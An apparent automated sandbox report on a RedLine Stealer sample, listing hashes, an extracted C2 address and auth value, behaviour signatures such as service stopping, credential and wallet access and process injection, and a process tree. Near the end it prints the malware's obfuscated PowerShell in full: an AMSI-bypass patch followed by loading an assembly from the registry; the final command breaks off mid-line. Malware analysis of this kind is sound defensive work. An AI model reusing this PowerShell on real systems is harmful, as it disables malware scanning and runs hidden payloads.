redline | 404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c

Analysis

max time kernel
47s
max time network
89s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
16/01/2023, 07:08

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General

Target

77d29818be0d01c38545baa0bd4551c6853c224b.exe
Size

365KB
MD5

343adbd49e24d1bdec30f634f4055da8
SHA1

77d29818be0d01c38545baa0bd4551c6853c224b
SHA256

404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
SHA512

4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f
SSDEEP

6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/3344-174-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 1016 created 2756	1016	SmartDefRun.exe	70
PID 1016 created 2756	1016	SmartDefRun.exe	70
PID 1016 created 2756	1016	SmartDefRun.exe	70
PID 1016 created 2756	1016	SmartDefRun.exe	70
PID 3148 created 588	3148	powershell.EXE	6

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	1964	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
4656	C4Loader.exe
432	new2.exe
3452	SysApp.exe
1016	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4808 set thread context of 2116	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	86
PID 432 set thread context of 3344	432	new2.exe	99
PID 1016 set thread context of 1356	1016	SmartDefRun.exe	123
PID 3148 set thread context of 3940	3148	powershell.EXE	128

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4712	sc.exe
4072	sc.exe
1972	sc.exe
2968	sc.exe
4800	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
552	4808	WerFault.exe	83
2452	432	WerFault.exe	95

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
1964	powershell.exe
1964	powershell.exe
3452	SysApp.exe
3452	SysApp.exe
3452	SysApp.exe
3452	SysApp.exe
3452	SysApp.exe
3452	SysApp.exe
3452	SysApp.exe
3452	SysApp.exe
3452	SysApp.exe
3452	SysApp.exe
3344	vbc.exe
1016	SmartDefRun.exe
1016	SmartDefRun.exe
5084	powershell.exe
5084	powershell.exe
1016	SmartDefRun.exe
1016	SmartDefRun.exe
1016	SmartDefRun.exe
1016	SmartDefRun.exe
3828	powershell.exe
3828	powershell.exe
3828	powershell.exe
1016	SmartDefRun.exe
1016	SmartDefRun.exe
3148	powershell.EXE
2484	powershell.EXE
3148	powershell.EXE
2484	powershell.EXE
3148	powershell.EXE
3940	dllhost.exe
3940	dllhost.exe
3940	dllhost.exe
3940	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	3344	vbc.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe
Token: 36	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe
Token: 36	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4808 wrote to memory of 4908	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	85
PID 4808 wrote to memory of 4908	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	85
PID 4808 wrote to memory of 4908	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	85
PID 4808 wrote to memory of 2116	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	86
PID 4808 wrote to memory of 2116	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	86
PID 4808 wrote to memory of 2116	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	86
PID 4808 wrote to memory of 2116	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	86
PID 4808 wrote to memory of 2116	4808	77d29818be0d01c38545baa0bd4551c6853c224b.exe	86
PID 2116 wrote to memory of 1964	2116	vbc.exe	89
PID 2116 wrote to memory of 1964	2116	vbc.exe	89
PID 2116 wrote to memory of 1964	2116	vbc.exe	89
PID 1964 wrote to memory of 4656	1964	powershell.exe	94
PID 1964 wrote to memory of 4656	1964	powershell.exe	94
PID 1964 wrote to memory of 4656	1964	powershell.exe	94
PID 1964 wrote to memory of 432	1964	powershell.exe	95
PID 1964 wrote to memory of 432	1964	powershell.exe	95
PID 1964 wrote to memory of 432	1964	powershell.exe	95
PID 1964 wrote to memory of 3452	1964	powershell.exe	97
PID 1964 wrote to memory of 3452	1964	powershell.exe	97
PID 1964 wrote to memory of 3452	1964	powershell.exe	97
PID 1964 wrote to memory of 1016	1964	powershell.exe	98
PID 1964 wrote to memory of 1016	1964	powershell.exe	98
PID 432 wrote to memory of 3344	432	new2.exe	99
PID 432 wrote to memory of 3344	432	new2.exe	99
PID 432 wrote to memory of 3344	432	new2.exe	99
PID 432 wrote to memory of 3344	432	new2.exe	99
PID 432 wrote to memory of 3344	432	new2.exe	99
PID 1268 wrote to memory of 4800	1268	cmd.exe	113
PID 1268 wrote to memory of 4800	1268	cmd.exe	113
PID 1268 wrote to memory of 4712	1268	cmd.exe	114
PID 1268 wrote to memory of 4712	1268	cmd.exe	114
PID 1268 wrote to memory of 4072	1268	cmd.exe	115
PID 1268 wrote to memory of 4072	1268	cmd.exe	115
PID 1268 wrote to memory of 1972	1268	cmd.exe	116
PID 1268 wrote to memory of 1972	1268	cmd.exe	116
PID 1268 wrote to memory of 2968	1268	cmd.exe	117
PID 1268 wrote to memory of 2968	1268	cmd.exe	117
PID 1268 wrote to memory of 100	1268	cmd.exe	118
PID 1268 wrote to memory of 100	1268	cmd.exe	118
PID 1268 wrote to memory of 372	1268	cmd.exe	119
PID 1268 wrote to memory of 372	1268	cmd.exe	119
PID 1268 wrote to memory of 2252	1268	cmd.exe	120
PID 1268 wrote to memory of 2252	1268	cmd.exe	120
PID 1268 wrote to memory of 3784	1268	cmd.exe	121
PID 1268 wrote to memory of 3784	1268	cmd.exe	121
PID 1268 wrote to memory of 2840	1268	cmd.exe	122
PID 1268 wrote to memory of 2840	1268	cmd.exe	122
PID 1016 wrote to memory of 1356	1016	SmartDefRun.exe	123
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3148 wrote to memory of 3940	3148	powershell.EXE	128
PID 3940 wrote to memory of 588	3940	dllhost.exe	6
PID 3940 wrote to memory of 676	3940	dllhost.exe	4
PID 3940 wrote to memory of 952	3940	dllhost.exe	78
PID 3940 wrote to memory of 328	3940	dllhost.exe	8
PID 3940 wrote to memory of 444	3940	dllhost.exe	9
PID 3940 wrote to memory of 752	3940	dllhost.exe	17
PID 3940 wrote to memory of 1032	3940	dllhost.exe	12

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:328
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d52a8d34-891f-44d9-a600-00b1b5c0ecdf}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1144
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:SGpRkglhkrhx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uFgcDdmlRKisLC,[Parameter(Position=1)][Type]$kqiUXvDLee)$xYedfoBJqFB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+''+'e'+''+[Char](99)+'t'+'e'+''+[Char](100)+'De'+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+'yM'+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+'y'+''+'p'+'e',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+'a'+[Char](108)+'ed'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+'C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+'A'+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$xYedfoBJqFB.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'pe'+[Char](99)+''+'i'+'a'+'l'+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$uFgcDdmlRKisLC).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+'i'+''+[Char](109)+'e,'+'M'+'a'+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$xYedfoBJqFB.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+'c'+[Char](44)+'H'+[Char](105)+''+'d'+''+'e'+'By'+'S'+'i'+'g'+','+'N'+''+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+','+'Vi'+[Char](114)+'t'+[Char](117)+''+'a'+''+'l'+'',$kqiUXvDLee,$uFgcDdmlRKisLC).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $xYedfoBJqFB.CreateType();}$IcBTFbhXUDaDT=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+'m'+''+'.'+'d'+'l'+''+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+'r'+'o'+''+'s'+'o'+'f'+'t'+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+'2'+'.'+'U'+''+'n'+'sa'+[Char](102)+''+[Char](101)+''+[Char](73)+''+'c'+''+[Char](66)+''+'T'+''+[Char](70)+''+[Char](98)+''+[Char](104)+''+[Char](88)+''+'U'+''+'D'+''+[Char](97)+''+[Char](68)+''+[Char](84)+'');$qXrdNxupYcsQFy=$IcBTFbhXUDaDT.GetMethod(''+[Char](113)+''+[Char](88)+''+'r'+''+[Char](100)+''+[Char](78)+''+[Char](120)+'u'+[Char](112)+'Y'+'c'+''+'s'+''+[Char](81)+''+[Char](70)+''+[Char](121)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+'S'+'t'+''+'a'+'ti'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RxolaYgNLkyFmiDtGZi=SGpRkglhkrhx @([String])([IntPtr]);$VTQCNhPfUfRWctDOMooDHD=SGpRkglhkrhx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xoIpSoRDDUf=$IcBTFbhXUDaDT.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'Han'+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+'3'+''+'2'+'.d'+'l'+''+[Char](108)+'')));$VKlZwcquOYuQDu=$qXrdNxupYcsQFy.Invoke($Null,@([Object]$xoIpSoRDDUf,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+'b'+'r'+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$XeLilsNZeNFatuyQh=$qXrdNxupYcsQFy.Invoke($Null,@([Object]$xoIpSoRDDUf,[Object](''+[Char](86)+'ir'+[Char](116)+'u'+'a'+'lProtec'+[Char](116)+'')));$QYdAzAu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VKlZwcquOYuQDu,$RxolaYgNLkyFmiDtGZi).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+'l'+'');$IcSLMKdovNazryaeW=$qXrdNxupYcsQFy.Invoke($Null,@([Object]$QYdAzAu,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'Scan'+[Char](66)+''+[Char](117)+''+'f'+'fe'+[Char](114)+'')));$CtqEclnNzL=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XeLilsNZeNFatuyQh,$VTQCNhPfUfRWctDOMooDHD).Invoke($IcSLMKdovNazryaeW,[uint32]8,4,[ref]$CtqEclnNzL);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$IcSLMKdovNazryaeW,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XeLilsNZeNFatuyQh,$VTQCNhPfUfRWctDOMooDHD).Invoke($IcSLMKdovNazryaeW,[uint32]8,0x20,[ref]$CtqEclnNzL);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+'AR'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+'le'+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qmOhnztxVlwG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PjpgkFZgdltgJv,[Parameter(Position=1)][Type]$ZDeeNbtcrx)$LFuAwxksURo=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+'m'+''+'o'+'r'+'y'+''+[Char](77)+''+[Char](111)+'dul'+[Char](101)+'',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+'e'+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+'P'+'u'+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'ale'+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+'i'+'C'+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+'A'+'u'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$LFuAwxksURo.DefineConstructor('RT'+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+'i'+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+',H'+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+'y'